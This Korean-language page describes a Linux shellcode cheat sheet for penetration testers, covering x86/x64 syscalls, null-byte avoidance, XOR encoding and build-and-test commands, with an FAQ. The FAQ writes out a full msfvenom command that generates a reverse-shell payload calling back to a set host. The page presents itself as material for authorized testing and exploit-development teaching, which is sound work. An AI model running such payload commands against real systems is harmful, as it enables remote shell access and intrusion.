Shellcode Reference
셸코드 개발 레퍼런스
Shellcode Reference 소개
Shellcode 레퍼런스는 보안 연구원과 침투 테스터를 위한 Linux 셸코드 개발 치트 시트입니다. x86(xor eax, push/pop, int 0x80, cdq), x64(syscall 명령, RIP 상대 주소, 레지스터 규칙), 인코딩(XOR 인코더, msfvenom shikata_ga_nai, Base64 로더), 널프리 기법(JMP-CALL-POP, 스택 기반 문자열), 시스콜(execve, socket, dup2, write), Linux 도구(gcc, nasm, objdump, 테스트 하네스)의 6개 카테고리를 다룹니다.
각 항목에는 어셈블리 구문, 셸코드 개발에서의 용도 설명, 작동하는 코드 예시가 포함됩니다. x86 섹션은 xor 레지스터 초기화와 하위 바이트 mov 연산을 사용한 널 바이트 회피를 보여줍니다. x64 섹션은 Linux 64비트 시스템 콜용 rax/rdi/rsi/rdx 레지스터 규칙과 함께 syscall 명령을 다룹니다.
이 레퍼런스는 인가된 보안 테스트, CTF 대회, 익스플로잇 개발 교육, 바이너리 분석 연구를 위해 제작되었습니다. 모든 콘텐츠는 브라우저에서 로컬로 렌더링됩니다. 서버에서 코드가 실행되지 않으며 초기 페이지 로드 후 네트워크 요청이 발생하지 않습니다.
주요 기능
- x86 셸코드 기초: xor 레지스터 초기화, push/pop 스택 조작, int 0x80 시스콜, cdq 부호 확장
- x64 셸코드: syscall 명령, RIP 상대 주소 지정, 완전한 execve /bin/sh 셸코드, 레지스터 규칙
- 인코딩 기법: 디코더 스텁 포함 XOR 인코더, msfvenom shikata_ga_nai, Python 커스텀 XOR 인코더, Base64 셸코드 로더
- 널프리 기법: JMP-CALL-POP 문자열 참조, 스택 기반 문자열 구성, 널 회피를 위한 하위 바이트 mov
- Linux 시스콜 레퍼런스: execve(11), socket(359), dup2(63), write(4) 전체 어셈블리 예시
- 개발 도구: gcc -z execstack 컴파일, NASM elf32 어셈블리, objdump 디스어셈블리, C 테스트 하네스 템플릿
- msfvenom 페이로드 생성: 배드 캐릭터 필터링(-b "\x00") 및 출력 형식 옵션
- 6개 카테고리 전체 검색 지원, 구문 하이라이팅과 다크 모드 지원
자주 묻는 질문
셸코드에서 널 바이트를 왜 회피하나요?
널 바이트(0x00)는 C에서 문자열 종료자입니다. strcpy() 같은 함수는 첫 번째 널 바이트에서 복사를 중단하여 셸코드가 잘립니다. 널 회피 기법에는 "mov eax, 0" 대신 "xor eax, eax" 사용, "mov eax, 0x0b" 대신 "mov al, 0x0b"로 하위 바이트 레지스터 사용, push 명령으로 스택에 문자열 구성 등이 있습니다.
JMP-CALL-POP 기법이란 무엇인가요?
JMP-CALL-POP은 셸코드에 내장된 데이터("/bin/sh" 문자열 등)의 주소를 위치 독립적으로 얻는 방법입니다. JMP가 셸코드를 건너뛰어 CALL 명령으로 이동하고, CALL은 반환 주소(문자열을 가리킴)를 스택에 푸시합니다. 셸코드가 이 주소를 레지스터로 POP합니다. 하드코딩된 절대 주소를 피할 수 있습니다.
x86과 x64 셸코드의 차이는 무엇인가요?
x86 셸코드는 int 0x80으로 시스콜하며 인수를 eax(시스콜 번호), ebx, ecx, edx에 넣습니다. x64 셸코드는 syscall 명령을 사용하며 인수를 rax, rdi, rsi, rdx, r10, r8, r9에 넣습니다. x64는 위치 독립적 데이터 접근을 위한 RIP 상대 주소도 지원하며 시스콜 번호가 다릅니다(예: execve는 x86에서 11, x64에서 59).
XOR 인코딩은 어떻게 작동하나요?
XOR 인코딩은 키(예: 0xAA)로 각 셸코드 바이트를 암호화하여 배드 캐릭터를 제거합니다. 셸코드 앞에 추가된 작은 디코더 스텁이 런타임에 각 바이트를 원래 값으로 XOR 복원합니다. 디코더는 루프를 사용하여 인코딩된 바이트를 순회하며 키로 XOR합니다. 키는 셸코드의 어떤 바이트에 적용해도 널 바이트를 생성하지 않아야 합니다.
Linux에서 셸코드를 컴파일하고 테스트하는 방법은?
NASM 구문으로 어셈블리를 작성하고 "nasm -f elf32 shellcode.asm -o shellcode.o"로 컴파일, "ld -m elf_i386 shellcode.o -o shellcode"로 링크합니다. objdump로 원시 바이트를 추출합니다. 테스트하려면 바이트를 C 프로그램(unsigned char code[] = "...")에 넣고 "gcc -z execstack -fno-stack-protector -o test test.c"로 컴파일하여 실행합니다.
Linux 셸코드에서 일반적으로 사용하는 시스콜은 무엇인가요?
가장 일반적인 시스콜: execve(x86: 11, x64: 59) 셸 실행, socket(x86: 102/socketcall) 네트워크 연결 생성, dup2(x86: 63) 리버스 셸용 파일 디스크립터 리다이렉트, write(x86: 4) 출력, read(x86: 3) 입력. 바인드 셸은 추가로 bind, listen, accept 시스콜을 사용합니다.
msfvenom으로 셸코드를 생성하는 방법은?
원하는 페이로드, 대상, 출력 형식으로 msfvenom을 사용합니다: "msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f c -b \"\x00\"". -b 플래그는 배드 캐릭터를 필터링하고, -f는 출력 형식(c, python, raw, elf)을 지정하며, -e는 x86/shikata_ga_nai 같은 인코더를 선택합니다. -i로 다중 인코딩 반복을 설정합니다.
이 셸코드 레퍼런스는 악의적 용도인가요?
아닙니다. 이 레퍼런스는 인가된 보안 테스트, CTF 대회, 학술 익스플로잇 개발 과정, 바이너리 분석 연구를 위해 설계되었습니다. 여기에 문서화된 모든 기법은 보안 교과서와 교육 자료에서 공개적으로 이용 가능합니다. 사용자는 소유하지 않은 시스템에서 익스플로잇 코드를 테스트하기 전에 적절한 인가를 받았는지 확인할 책임이 있습니다.